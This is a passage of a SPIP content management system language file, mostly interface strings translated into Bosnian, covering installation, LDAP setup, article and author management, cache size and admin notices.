'info_ajout_image' => 'Ako clanku dodajete fotografije u formi dokumenta, SPIP moze kreirati vinjete (minijature) dodanih fotografija. To naprimjer dozvoljava automatsko kreiranje galerije ili portfolija.',
'info_ajout_participant' => 'Dodan je sljedeci ucesnik:',
'info_ajouter_rubrique' => 'Dodaj drugu rubriku za administraciju:',
'info_annonce_nouveautes' => 'Najava novosti',
'info_anterieur' => 'nazad',
'info_article' => 'clanak',
'info_article_2' => 'clanci',
'info_article_a_paraitre' => 'Prikazi clanke sa kasnijim datumom',
'info_articles_02' => 'clanci',
'info_articles_2' => 'Clanci',
'info_articles_auteur' => 'Clanci ovog autora',
'info_articles_trouves' => 'Pronadjeni clanci',
'info_articles_trouves_dans_texte' => 'Pronadjeni clanci (u tekstu)',
'info_attente_validation' => 'Vasi clanci koji cekaju ovjeru',
'info_aujourdhui' => 'danas:',
'info_auteur_message' => 'AUTOR PORUKE:',
'info_auteurs' => 'Autori',
'info_auteurs_par_tri' => 'Autori@partri@',
'info_auteurs_trouves' => 'Pronadjeni autori',
'info_authentification_externe' => 'Eksterna autentifikacija',
'info_avertissement' => 'Upozorenje',
'info_base_installee' => 'Struktura vase baze podatake je instalirana.',
'info_chapeau' => 'Uvod',
'info_chapeau_2' => 'Uvod:',
'info_chemin_acces_1' => 'Opcije: <b>Putanja pristupa u direktorij</b>', # MODIF
'info_chemin_acces_2' => 'Od sada cete morati konfigurisati putanju pristupa informacijama iz direktorija. Ova informacija je neophodna za citanje profila korisnika koji su pohranjeni u direktoriju.',
'info_chemin_acces_annuaire' => 'Opcije : <b>Putanja pristupa u direktorij', # MODIF
'info_choix_base' => 'Treca etapa :',
'info_classement_1' => '<sup>er</sup> iz @liste@',
'info_classement_2' => '<sup>e</sup> iz @liste@',
'info_code_acces' => 'Ne zaboravite vas kod za pristup!',
'info_compresseur_gzip' => '<b>N. B. :</b> Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@', # MODIF
'info_config_suivi' => 'Ako ova adresa odgovara mailing listi, ispod mozete naznaciti adresu na koju se ucesnici mogu registrovati. Ta adresa moze biti URL (npr. strana za upisivanje na listu putem web-a), ili e-mail adresa opremljena specificnim subjektom(npr.: <tt>@adresse_suivi@?subject=prijava</tt>):',
'info_config_suivi_explication' => 'Mozete se prikljuciti mailing-listi ove stranice. Poslije cete u elektronskim putem primiti najave clanaka i kratkih poruka, koje su predlozene za publikaciju',
'info_confirmer_passe' => 'Potvrdi novu lozinku:',
'info_connexion_base' => 'Druga etapa: <b>Pokusaj konekcije sa bazom</b>', # MODIF
'info_connexion_ldap_ok' => 'Uspjesna LDAP konekcija.</b><p> Mozete pristupiti sljedecoj etapi</p>', # MODIF
'info_connexion_mysql' => 'Prva etapa: <b>Vasa SQL konekcija</b>', # MODIF
'info_connexion_ok' => 'Uspjesna konekcija.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Sadrzaj clanaka',
'info_creation_paragraphe' => '(Da biste kreirali odlomke, linije ostavite prazne.)', # MODIF
'info_creation_rubrique' => 'Prije nego mozete pisati clanke,<br /> morate kreirati najmanje jednu rubriku.<br />', # MODIF
'info_creation_tables' => 'Cetvrta etapa: <b>Kreiranje tabela baze</b>', # MODIF
'info_creer_base' => '<b>Kreirati</b> novu bazu podataka:', # MODIF
'info_dans_rubrique' => 'U rubrici:',
'info_date_publication_anterieure' => 'Datum proslog objavljivanja:',
'info_date_referencement' => 'DATUM PREPORUKE OVE STRANICE:',
'info_derniere_etape' => 'Posljednja etapa: <b>Zavrseno je!', # MODIF
'info_derniers_articles_publies' => 'Vasi posljednji objavljeni clanci',
'info_desactiver_messagerie_personnelle' => 'Mozete aktivirati ili dezaktivirati vas licni servis poruka na ovoj stranici.',
'info_descriptif' => 'Opis:',
'info_discussion_cours' => 'Aktivne diskusije',
'info_ecrire_article' => 'Prije nego mozete pisati clanke, morate kreirati najmanje jednu rubriku.',
'info_email_envoi' => 'E-mail adresa za slanje (fakultativno)',
'info_email_envoi_txt' => 'Ovdje oznacite adresu za slanje e-mailova (po standardu ce adresa primaoca biti koristena kao adresa za slanje):',
'info_email_webmestre' => 'E-mail adresa webmastera (fakultativno)', # MODIF
'info_entrer_code_alphabet' => 'Unesite kod alfabeta koji ce se koristiti:',
'info_envoi_email_automatique' => 'Automatsko slanje e-mailova',
'info_envoyer_maintenant' => 'Posalji sada',
'info_etape_suivante' => 'Pristupi sljedecoj etapi',
'info_etape_suivante_1' => 'Mozete pristupiti sljedecoj etapi.',
'info_etape_suivante_2' => 'Mozete pristupiti sljedecoj etapi.',
'info_exportation_base' => 'eksportuj baze u @archive@',
'info_facilite_suivi_activite' => 'U svrhu posmatranja editorijalne aktivnosti stranice, SPIP moze elektronskom postom (npr. mailing listom urednika) proslijedjivati najave zahtijeva za publikaciju i ovjeru clanaka.',
'info_fichiers_authent' => 'Dokument autentifikacije « .htpasswd »',
'info_forums_abo_invites' => 'Vasa stranica obudhvata i forume za clanove; posjetioci se pozivaju na registraciju u javnom prostoru stanice.',
'info_gauche_admin_effacer' => '<b>Ova strana je dostupna samo osobama odgovornim za web stranicu.</b><p> Ona daje pristup raznim funkcijama tehnickog odrzavanja. Neke od njih pruzaju mogucnost specificne autentifikacije, koja zahtijeva pristup FTP-u web stranice.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Ova strana je dostupna samo osobama odgovornim za web stranicu.</b><p> Ona daje pristup raznim funkcijama tehnickog odrzavanja. Neke od njih pruzaju mogucnost specificne autentifikacije, koja zahtijeva pristup FTP-u web stranice.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Ova strana je dostupna samo osobama odgovornim za web stranicu.</b><p> Ona daje pristup raznim funkcijama tehnickog odrzavanja. Neke od njih pruzaju mogucnost specificne autentifikacije, koja zahtijeva pristup FTP-u web stranice.</p>', # MODIF
'info_gauche_auteurs' => 'Ovdje cete pronaci sve autore ove web stranice. Njihov status je naznacen bojom njihove ikone (administrator = zelena; urednik = zuta).',
'info_gauche_auteurs_exterieurs' => 'Vanjski autori bez pristupa stranici su oznaceni plavom ikonom, a izbrisani autori sa ikonicom korpe za smece.', # MODIF
'info_gauche_messagerie' => 'Servis za slanje poruka vam omogucuje razmjenu poruka medju piscima, cuvanje biljeske (za licnu upotrebu) ili, ako ste administrator, postavljanje najava na pocetnu stranicu u privatnom prostoru.',
'info_gauche_numero_auteur' => 'BROJ AUTORA',
'info_gauche_statistiques_referers' => 'Ova strana predstavlja listu <i>referenci</i>, sto znaci stranice koje sadrze linkove sa vasom licnom stranicom, ali samo za jucer i danas; ova lista se vraca na nulu svaka 20 sata.',
'info_gauche_visiteurs_enregistres' => 'Ovdje mozete pronaci posjetioce koji su registrovani na javnoj stranici (forumi za clanove).',
'info_generation_miniatures_images' => 'Obradjivanje minijaturnih slika',
'info_gerer_trad' => 'Zelite li ukljuciti linkove za prevod?',
'info_hebergeur_desactiver_envoi_email' => 'Neki kompjuteri dezaktiviraju automatsko slanje mailova njihovim serverima. U tom slucaju sljedece funkcije SPIP-a nece biti u uptrebi.',
'info_hier' => 'Jucer:',
'info_historique_activer' => 'Aktivirati pracenje revizija',
'info_historique_affiche' => 'Prikazati reviziju',
'info_historique_comparaison' => 'uporedi',
'info_historique_desactiver' => 'Dezaktivirati pracenje revizija',
'info_historique_texte' => 'Pracenje revizija omogucuje ocuvanje historije svih izmjena na sadrzaju clanka i prikazivanje razlika verzija koje slijede.',
'info_identification_publique' => 'Vas javni identitet...',
'info_image_process' => 'Izaberite najbolju metodu pravljenja vinjeta tako sto cete kliknuti na odgovarajucu sliku.',
'info_image_process2' => '<b>N.B.</b> <i>Ako se ne pojavljuje nijedna slika, onda vas server nije konfigurisan za koristenje tih funkcija. Ako zelite koristiti te funkcije, kontaktirajte ososbu odgovornu za tehnicko odrzavanje i pitajte za extenzije «GD» ili «Imagick».</i>', # MODIF
'info_images_auto' => 'Automatski izracunate slike',
'info_informations_personnelles' => 'Peta etapa: <b>Licne informacije</b>', # MODIF
'info_inscription_automatique' => 'Automatsko upisivanje novih urednika',
'info_jeu_caractere' => 'Set karaktera stranice',
'info_jours' => 'dani',
'info_laisser_champs_vides' => 'ostavi ova polja prazna)',
'info_langues' => 'Jezici stranice',
'info_ldap_ok' => 'LDAP autentifikacija je instalirana.',
'info_lien_hypertexte' => 'Hiperlink:',
'info_liste_redacteurs_connectes' => 'Lista konektovanih urednika',
'info_login_existant' => 'Ovaj login vec postoji.',
'info_login_trop_court' => 'Ovaj login je prekratak.',
'info_maximum' => 'maksimalno:',
'info_meme_rubrique' => 'U istoj rubrici',
'info_message' => 'Poruka od',
'info_message_efface' => 'PORUKA IZBRISANA',
'info_message_en_redaction' => 'Vase poruke u toku uredjivanja',
'info_message_technique' => 'Tehnicka poruka:',
'info_messagerie_interne' => 'Interni servis za poruke',
'info_mise_a_niveau_base' => 'nadogradnja vase SQL baze', # MODIF
'info_mise_a_niveau_base_2' => '\\{\\{Paznja!\\}\\} Instalirali ste verziju SPIP dokumenata, koji su stariji od one koja je vec postojala na stranici: vasa baza podataka je vjerovatno izgubljena i vasa stranica vise nece funkcionisati. <br />\\{\\{Ponovo instalirajte SPIP dokumente\\}\\}', # MODIF
'info_modifier_rubrique' => 'Izmijeni rubriku:',
'info_modifier_titre' => 'Izmijeni: @titre@',
'info_mon_site_spip' => 'Moja SPIP stranica',
'info_mot_sans_groupe' => '(Kljucne rijeci bez grupe...)',
'info_moteur_recherche' => 'integrisani motor za pretragu',
'info_moyenne' => 'prosjek:',
'info_multi_articles' => 'Aktivirati jezicki meni za clanke?',
'info_multi_cet_article' => 'Jezik ovog clanka:',
'info_multi_langues_choisies' => 'Izaberite jezike koji ce biti na raspolaganju urednicima vase stranice. Jezici koji se vec koriste na vasoj stranici, ne mogu se iskluciti.',
'info_multi_rubriques' => 'Aktivirati jezicki meni za rubrike?',
'info_multi_secteurs' => '... samo za rubrike koje se nalaze na root-u?',
'info_nom' => 'Ime',
'info_nom_destinataire' => 'Ime primaoca',
'info_nom_site' => 'Ime vase stranice',
'info_nombre_articles' => '@nb_articles@ clanci,',
'info_nombre_partcipants' => 'UCESNICI DISKUSIJE:',
'info_nombre_rubriques' => '@nb_rubriques@ rubrike,',
'info_nombre_sites' => '@nb_sites@ stranice,',
'info_non_deplacer' => 'Ne premijestati...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP moze regularno poslati najavu posljednjih novosti stranice (recentno objavljeni clanci i kratke poruke).',
'info_non_envoi_liste_nouveautes' => 'Ne slati listu novosti',
'info_non_modifiable' => 'Ne moze se modifikovati',
'info_non_suppression_mot_cle' => 'Ne zelim izbrisati ovu kljucnu rijec.',
'info_notes' => 'Biljeske',
'info_nouveaux_message' => 'Nove poruke',
'info_nouvel_article' => 'Novi clanak',
'info_nouvelle_traduction' => 'Novi prevod:',
'info_numero_article' => 'CLANAK BROJ:',
'info_obligatoire_02' => '[Obavezno]', # MODIF
'info_option_accepter_visiteurs' => 'Prihvati upisivanje posjetioca na javnoj stranici',
'info_option_faire_suivre' => 'Omoguci autorima clanaka pracenje poruka na forumima',
'info_option_ne_pas_accepter_visiteurs' => 'Odbij upisivanje posjetioca',
'info_options_avancees' => 'NAPREDNE OPCIJE',
'info_ortho_activer' => 'Aktiviraj ortografsku provjeru',
'info_ortho_desactiver' => 'Dezaktiviraj ortografsku provjeru',
'info_ou' => 'ili...',
'info_page_interdite' => 'Ova strana je zabranjena',
'info_par_nombre_article' => '(po broju clanaka)', # MODIF
'info_passe_trop_court' => 'Prekratka lozinka.',
'info_passes_identiques' => 'Lozinke nisu identicne.',
'info_pense_bete_ancien' => 'Vase stare biljeske', # MODIF
'info_plus_cinq_car' => 'vise od pet karaktera',
'info_plus_cinq_car_2' => '(Vise od pet karaktera)',
'info_plus_trois_car' => '(Vise od tri karaktera)',
'info_popularite' => 'popularnosti: @popularite@ ; posjete: @visites@',
'info_popularite_4' => 'popularnost: @popularite@ ; posjete: @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-scriptum :',
'info_pour' => 'za',
'info_preview_admin' => 'Samo administratori mogu stranicu pogledati online',
'info_preview_comite' => 'Svi urednici mogu stranicu pogledati online',
'info_preview_desactive' => 'Nije moguce pogledati stranicu online. Ova opcija je dezaktivirana.',
'info_preview_texte' => 'Moguce je stranicu pogledati online, kao da su svi clanci i kratke poruke objavljene, ukoliko iste imaju « predlozen » status. Da li ova opcija treba biti otvorena samo administratorima, svim urednicima ili nikome?',
'info_principaux_correspondants' => 'Vasi glavni korespodenti',
'info_procedez_par_etape' => 'Slijedite etape',
'info_procedure_maj_version' => 'Potrebno je pokrenuti update, da bi se baza podataka prikljucila novoj verziji SPIP-a.',
'info_ps' => 'P.S.:', # MODIF
'info_publier' => 'objavi moje clanke',
'info_question_accepter_visiteurs' => 'Ako obrasci vase stranice ukljucuju upisivanje posjetioca bez pristupa u privatnu stranicu, aktivirajte sljedecu opciju:',
'info_question_inscription_nouveaux_redacteurs' => 'Da li prihvatate upisivanje novih urednika u javnom prostoru stranice? Ako prihvatate, posjetioci ce se moci registrovati putem automatskog formulara, a zatim ce moci pristupiti privatnom prostoru i predlagati svoje clanke. <blockquote><i>Tokom faze upisivanja, korisnici ce primiti automatski e-mail sa kodom za pristup u privatnu stranicu. Neki kompjuteri sprecavaju slanje mailova putem njihovih servera: u tom slucaju ce automatsko upisivanje biti nemoguce.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Zelite li koristiti motor pretrage koji je integrisan u SPIP? (dezaktiviranje ove opcije ubrzava funkcionisanje sistema.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Korjen stranice',
'info_recharger_page' => 'Restartujte ovu stranicu za nekoliko momenata.',
'info_recherche_auteur_a_affiner' => 'Previse rezultata za "@cherche_auteur@"; redefinisite opcije pretrage.',
'info_recherche_auteur_ok' => 'Pronadjeno je vise urednika za "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Nema rezultata za « @cherche_auteur@ ».',
'info_recommencer' => 'Pocnite ponovo.',
'info_redacteur_1' => 'Urednik',
'info_redacteur_2' => 'koji ima/ju pristup privatnoj stranici (<i>recommandé</i>)',
'info_redacteurs' => 'Urednici',
'info_redaction_en_cours' => 'U TOKU UREDJIVANJA',
'info_redirection' => 'Preusmjerenje',
'info_refuses' => 'Vasi odbijeni clanci',
'info_reglage_ldap' => 'Opcije: namijestanje LDAP importa</b>', # MODIF
'info_renvoi_article' => '<b>Preusmjerenje.</b> Ovaj clanak se preusmjerava na stranicu:', # MODIF
'info_reserve_admin' => 'Samo administratori mogu izmijeniti ovu adresu.',
'info_restreindre_rubrique' => 'Ograniciti uredjivanje rubrike:',
'info_resultat_recherche' => 'Rezultati pretrage:',
'info_rubriques' => 'Rubrike',
'info_rubriques_02' => 'rubrike',
'info_rubriques_trouvees' => 'Pronadjene rubrike',
'info_rubriques_trouvees_dans_texte' => 'Pronadjene rubrike (u ovom tekstu)',
'info_sans_titre' => 'Bez naslova',
'info_selection_chemin_acces' => '<b>Izaberite</b> putanju pristupa direktoriju:',
'info_signatures' => 'potpisi',
'info_site' => 'Stranica',
'info_site_2' => 'stranica:',
'info_site_min' => 'stranica',
'info_site_reference_2' => 'Preporucena stranica',
'info_site_web' => 'WEB STRANICA :', # MODIF
'info_sites' => 'stranice',
'info_sites_lies_mot' => 'Preporucene stranice koje su vezane za ovu kljucnu rijec',
'info_sites_proxy' => 'Koristi proxy',
'info_sites_trouves' => 'Pronadjene stranice',
'info_sites_trouves_dans_texte' => 'Pronadjene stranice (u tekstu)',
'info_sous_titre' => 'Podnaslov:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Status ovog autora:', # MODIF
'info_statut_efface' => 'Izbrisano',
'info_statut_redacteur' => 'Urednik',
'info_statut_utilisateurs_1' => 'Standardni status importovanih korisnika',
'info_statut_utilisateurs_2' => 'Izaberita koji status ce imati osobe koje su prisutne u LDAP direktoriju, kada se konektuju prvi put. Kasnije ce te biti u mogucnosti da status svakog autora individualno izmijenite.',
'info_suivi_activite' => 'Pracenje urednicke aktivnosti',
'info_surtitre' => 'Nadnaslov:',
'info_taille_maximale_vignette' => 'Maksimalna velicina vinjeta koje uredjuje sistem:',
'info_terminer_installation' => 'Sada mozete zavrsiti standardnu proceduru instalacije.',
'info_texte' => 'Tekst',
'info_texte_explicatif' => 'Eksplikacioni tekst',
'info_texte_long' => '(Ovaj tekst je dug, a zato je prikazan u vise dijelova, koji ce biti sastavljeni poslije ovjere.)',
'info_texte_message' => 'Tekst vase poruke:', # MODIF
'info_texte_message_02' => 'Tekst poruke',
'info_titre' => 'Naslov:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'Svi clanci koji su fazi obradjivanja',
'info_tous_articles_presents' => 'Svi objavljeni clanci u ovoj rubrici',
'info_tous_les' => 'svi:',
'info_tous_redacteurs' => 'Najava svim urednicima',
'info_tout_site' => 'Citava web stranica',
'info_tout_site2' => 'Clanak nije preveden na ovaj jezik.',
'info_tout_site3' => 'Clanak je preveden na ovaj jezik, ali su usvojene izmjene preporucenog clanka. Potrebno je obnoviti prevod.',
'info_tout_site4' => 'Clanak je preveden na ovaj jezik i prevod je obnovljen.',
'info_tout_site5' => 'Originalni clanak.',
'info_tout_site6' => '<b>Paznja:</b> prikazani su samo originalni clanci.
Prevodi su (sa bojom koja ukazuje na njihovo stanje) povezani sa originalnim clankom:',
'info_travail_colaboratif' => 'Saradnicki rad na clancima',
'info_un_article' => 'clanak,',
'info_un_site' => 'jedna stranica,',
'info_une_rubrique' => 'jedna rubrika,',
'info_une_rubrique_02' => '1 rubrika',
'info_url' => 'URL:',
'info_url_site' => 'URL WEB STRANICE:',
'info_urlref' => 'Hiperlink:',
'info_utilisation_spip' => 'Mozete poceti sa koristenjem sistema za asistirano objavljivanje...',
'info_visites_par_mois' => 'Prikazi po mjesecu:',
'info_visiteur_1' => 'posjetioc',
'info_visiteur_2' => 'javne stranice',
'info_visiteurs' => 'posjetioci',
'info_visiteurs_02' => 'Posjetioci javne stranice',
'install_echec_annonce' => 'Instalacija vjerovatno nece uspjeti, ili ce rezultirati nefunkcionirajucom stranicom...',
'install_extension_mbstring' => 'SPIP ne funkcionise sa:',
'install_extension_php_obligatoire' => 'SPIP-u je potrebna php ekstenzija:',
'install_select_langue' => 'Izaberite jezik, a zatim kliknite na dugme « sljedece » da bi pokrenuli proces instalacije.',
'intem_redacteur' => 'urednik',
'item_accepter_inscriptions' => 'Prihvati upise',
'item_activer_messages_avertissement' => 'Aktiviraj poruke upozorenja',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Prikazati u kalendaru',
'item_autoriser_documents_joints' => 'Ododbri dokumente pridruzene clancima',
'item_autoriser_documents_joints_rubriques' => 'Odobri dokumente u rubrikama',
'item_choix_administrateurs' => 'administratori',
'item_choix_generation_miniature' => 'Automatski uredi minijature slika.',
'item_choix_non_generation_miniature' => 'Ne uredjuj minijature slika.',
'item_choix_redacteurs' => 'urednici',
'item_choix_visiteurs' => 'posjetioci javne stranice',
'item_creer_fichiers_authent' => 'kreiraj dokumente .htpasswd',
'item_limiter_recherche' => 'Pretragu ograniciti na informacije sa vase stranice',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'za clanke',
'item_mots_cles_association_rubriques' => 'za rubrike',
'item_mots_cles_association_sites' => 'Za preporucene ili sindikovane stranice.',
'item_non' => 'Ne',
'item_non_accepter_inscriptions' => 'Ne dozvoljavaj upise',
'item_non_activer_messages_avertissement' => 'Bez poruka upozorenja',
'item_non_afficher_calendrier' => 'Ne prikazuj u kalendaru',
'item_non_autoriser_documents_joints' => 'Ne odobravaj dokumente bez clanaka',
'item_non_autoriser_documents_joints_rubriques' => 'Ne odobravaj dokumente u rubrikama',
'item_non_creer_fichiers_authent' => 'Ne kreiraj ove dokumente',
'item_non_gerer_statistiques' => 'Ne uredjuj statistike',
'item_non_limiter_recherche' => 'Pretragu prosiriti na sadrzaj preporuka',
'item_non_publier_articles' => 'Ne objavljuj clanke poslije datuma odredjenog za publikaciju.',
'item_non_utiliser_moteur_recherche' => 'Ne koristi motor',
'item_nouvel_auteur' => 'Novi autor',
'item_nouvelle_rubrique' => 'Nova rubrika',
'item_oui' => 'Da',
'item_publier_articles' => 'Objavi clanke bez obzira na datum odredjen za njihovu publikaciju.',
'item_reponse_article' => 'Odgovor na clanak',
'item_utiliser_moteur_recherche' => 'Koristi motor za pretragu',
'item_visiteur' => 'posjetioc',
// J
'jour_non_connu_nc' => 'nepoznato',
// L
'lien_ajout_destinataire' => 'Dodaj ovog primaoca',
'lien_ajouter_auteur' => 'Dodaj ovog autora',
'lien_ajouter_participant' => 'Dodaj ucesnika',
'lien_email' => 'e-mail',
'lien_nom_site' => 'IME STRANICE:',
'lien_retirer_auteur' => 'Odstrani autora',
'lien_retrait_particpant' => 'Odstrani ovog ucesnika',
'lien_site' => 'stranica',
'lien_supprimer_rubrique' => 'Izbrisi ovu rubriku',
'lien_tout_deplier' => 'Sve otvoriti',
'lien_tout_replier' => 'Sve zatvoriti',
'lien_trier_nom' => 'Poredaj po imenu',
'lien_trier_nombre_articles' => 'Poredaj po broju clanaka',
'lien_trier_statut' => 'Poredaj po statusu',
'lien_voir_en_ligne' => 'POGLEDAJ ONLINE:',
'logo_article' => 'LOGOTIP CLANKA', # MODIF
'logo_auteur' => 'LOGOTIP AUTORA', # MODIF
'logo_rubrique' => 'LOGOTIP RUBRIKE', # MODIF
'logo_site' => 'LOGOTIP STRANICE', # MODIF
'logo_standard_rubrique' => 'STANDARDNI LOGOTIP ZA RUBRIKE', # MODIF
'logo_survol' => 'HOVERING LOGO', # MODIF
// M
'menu_aide_installation_choix_base' => 'Biranje vase baze',
'module_fichier_langue' => 'Jezicni dokument',
'module_raccourci' => 'Precica',
'module_texte_affiche' => 'Prikazani tekst',
'module_texte_explicatif' => 'Mozete dodati sljedece precice u obrasce vase javne stranice. One ce biti automatski prevedene u razne jezike, za koje postoje jezicni dokumenti.',
'module_texte_traduction' => 'Jezicni dokument « @module@ » je na raspolaganju u:',
'mois_non_connu' => 'nepoznato',
// O
'onglet_repartition_actuelle' => 'Aktuelno',
// P
'plugin_etat_developpement' => 'u razvoju',
'plugin_etat_experimental' => 'experimentalno',
'plugin_etat_stable' => 'stabilno',
'plugin_etat_test' => 'testira se',
'plugins_liste' => 'Plugin lista',
// R
'repertoire_plugins' => 'Directorij:',
// S
'statut_admin_restreint' => '(ograniceni admin)', # MODIF
// T
'taille_cache_image' => 'Slike koje SPIP automatski izracunava (vinjete dokumenata, naslove predstavljene u grafickoj formi, matematicke funkcije u TeX formatu ...) zauzimaju u @dir@ repertoaru total od @taille@.',
'taille_cache_infinie' => 'Ova stranica ne ukljucuje ogranicenje velicine u repertoaru <code>CACHE/</code>.', # MODIF
'taille_cache_maxi' => 'SPIP pokusava ograniciti velicinu repertoara <code>CACHE/</code> ove stranice za oko <b>@octets@</b> podataka.', # MODIF
'taille_cache_octets' => 'Aktuelna velicina kesa je @octets@.', # MODIF
'taille_cache_vide' => 'Kes je prazan.',
'taille_repertoire_cache' => 'Aktuelna velicina kesa',
'text_article_propose_publication' => 'Clanak predlozen za objavljivanje. Ne oklijevajte da date vase misljenje u forumu dodanom ovom clanku (na dnu ove strane).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Neki LDAP serveri ne prihvataju ni jedan anonimni pristup. U tom slucaju je potrebno odrediti identifikatora za inicijalni pristup, da bi zatim postojala mogucnost pretrage informacija u direktoriju. U vecini slucajeva, sljedeca polja mogu ostati prazna',
'texte_admin_effacer_01' => 'Ova komanda ce izbrisati <i>sav</i> sadrzaj baze podataka, ukljucujuci <i>sve</i> pristupe urednika i administratora. Prije nego je pokrenete, trebate pokrenuti reinstalaciju pristupa SPIP-u da biste kreirali novu bazu, kao i prvi pristup administratora.',
'texte_adresse_annuaire_1' => '(Ako je vas direktorij instaliran na istoj masini kao ova web stranica, vjerovatno se radi o localhost-u.)',
'texte_ajout_auteur' => 'Sljedeci autor je dodan clanku:',
'texte_annuaire_ldap_1' => 'Ako imate pristup jednom (LDAP) direktoriju, mozete ga koristiti za automatsko importovanje korisnika u SPIP.',
'texte_article_statut' => 'Ovaj clanak je:',
'texte_article_virtuel' => 'Virtuelni clanak',
'texte_article_virtuel_reference' => '<b>Virtuelni clanak:</b> clanak je preporucen na vasoj SPIP stranici, ali apreusmjeren na drugi URL. Da bi ste sprijecili preusmjeravanje, izbrisite nize prikazani URL.',
'texte_aucun_resultat_auteur' => 'Nema rezultata za"@cherche_auteur@"',
'texte_auteur_messagerie' => 'Ova stranica vam moze permanentno ukazivati na listu konektovanih urednika, sto vam omogucuje online razmjenu poruka. Mozete odluciti da se ne pojavljujete na ovoj listi (nevidljivi ste za druge korisnike).',
'texte_auteur_messagerie_1' => 'Ova stranica vam dozvoljava razmjenu poruka i formiranje foruma za diskusiju izmedju ucesnika na stranici. Mozete odluciti da ne ucestvujete u ovim promjenama.',
'texte_auteurs' => 'AUTORI',
'texte_choix_base_1' => 'Izaberite vasu bazu:',
'texte_choix_base_2' => 'SQL server sadrzi vise baza podataka.', # MODIF
'texte_choix_base_3' => '<b>Izaberite</b> Ispod one koja vam je dodjeljena od vaseg kompjutera:', # MODIF
'texte_commande_vider_tables_indexation' => 'Koristite ovu komandu da biste ispraznili tabele za indeksiranje, koje koriste motori za pretragu integrisani u SPIP. To ce vam omoguciti da dobijete na prostoru na disku .',
'texte_compresse_ou_non' => '(Ovo moze biti kompresovano ili ne)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elementi',
'texte_connexion_mysql' => 'Provjerite informacije koje ste dobili od vaseg kompjutera: Trebate pronaci da li vas kompjuter podrzava SQL i kodove za konekciju na SQL server.', # MODIF
'texte_contenu_article' => '(Sadrzaj clanka u nekoliko rijeci.)',
'texte_contenu_articles' => 'Prema rasporedu koji je prihvacen za vasu stranicu, mozete odluciti da se neki elementi clanaka ne koriste. Koristite se sa nize prikazanom listom i naznacite koji su elementi dostupni.',
'texte_crash_base' => 'Ako je vasa baza podataka pala, mozete pokusati automatsku popravku.',
'texte_creer_rubrique' => 'Prije pisanja clanaka,<br /> trebate kreirati rubriku.', # MODIF
'texte_date_creation_article' => 'DATUM NASTANKA CLANKA:',
'texte_date_publication_anterieure' => 'Datum proslog uredjivanja:',
'texte_date_publication_anterieure_nonaffichee' => 'Ne prikazuj datum proslog uredjivanja.',
'texte_date_publication_article' => 'DATUM OBJAVLJIVANJA:',
'texte_descriptif_petition' => 'Opis peticije',
'texte_descriptif_rapide' => 'Brzi opis',
'texte_effacer_base' => 'Izbrisati SPIP bazu podataka',
'texte_effacer_donnees_indexation' => 'Izbrisati podatke indexiranja',
'texte_en_cours_validation' => 'Dole navedeni clanci i kratke poruke su predlozene za publikaciju. Vase misljenje mozete iznijeti u njima prikljucenim forumima.', # MODIF
'texte_enrichir_mise_a_jour' => 'Mozete obogatiti izgled vaseg teksta na stranici, koristeci se « tipogrfskim precicama ».',
'texte_fichier_authent' => '<b>Treba li SPIP kreirati specijalne dokumente <tt>.htpasswd</tt> i <tt>.htpasswd-admin</tt> u repertoaru @dossier@ ?</b><p> Ti dokumenti vam omogucuju zabranu pristupa autorima i administratorima na drugim mjestima vase stranice (npr. eksterni program za statistike).</p><p> Ako od ovoga nemate nikakve koristi, mozete ostaviti standardnu vrijednost za ovu opciju (nema kreacije dokumenata).</p>', # MODIF
'texte_informations_personnelles_1' => 'Sistem ce sada kreirati personalizovan pistup stranici.',
'texte_informations_personnelles_2' => '(Napomena: ako se radi o reinstalaciji i ako vas pristup uvijek funkcionise, mozete', # MODIF
'texte_introductif_article' => '(Uvodni tekst u clanak.)',
'texte_jeu_caractere' => 'Ova opcija je korisna ako vasa stranica treba postavljati tekstove sa alfabetom (ukljucujuci njegove derivate) koji nije romanski (ili « okcidentalni »). U tom slucaju je pozeljno promijeniti standardnu postavku u odgovarajuci set karaktera; u svakum slucaju vam savjetujemo da napravite testove i pronadjete zadovoljavajuce rijesenje. Ako izmlijenite ovaj parametar, ne zaboravite javnu stranicu prilagoditi izmjenama (balise <tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'Ova postavka nema retroaktivni efekat. Radi toga, vec uneseni tekstovi mogu radi biti pogresno prikazani uslijed izmjene postavke. U svako slucaju, mozete se bez gubitka vratiti na prethodnu postavku.',
'texte_lien_hypertexte' => '(Ako se vasa poruka odnosi na clanak objavljen na web-u ili stranicu koja pruza vise informacija, naznacite naziv stranice i njenu URL adresu.)',
'texte_login_ldap_1' => '(Ostaviti prazno za anonimni pristup ili unjeti kompletnu putanju, npr. « <tt>uid=dupont, ou=users, dc=mon-domaine, dc=com</tt> ».)',
'texte_login_precaution' => 'Paznja! Ovo je login kojim ste trenutno konektovani. Pazljivo se koristite ovim formularom...',
'texte_message_edit' => 'Paznja: ovu poruku moze imijeniti svaki administrator stranice, a vidljiva je svim urednicima. Koristite se najavama samo da biste najavili vazne dogadjaje zivota stranice.',
'texte_mise_a_niveau_base_1' => 'Upravo ste obnovili SPIP dokumente. Sada je potrebna nadogrdnja baze podataka.',
'texte_modifier_article' => 'Izmijeni clanak:',
'texte_moteur_recherche_active' => '<b>Motor za pretragu je aktivan.</b> Koristite se ovom komandom ako zelite pristupiti brze reindeksacije (npr. nakon pohranjivanja). Dokumenti koji su izmijenjeni na normalan nacin (prema SPIP rasoredu) su reindeksovani automatski: dakle, ova komanda je korisna samo u iznimnim slucajevima.',
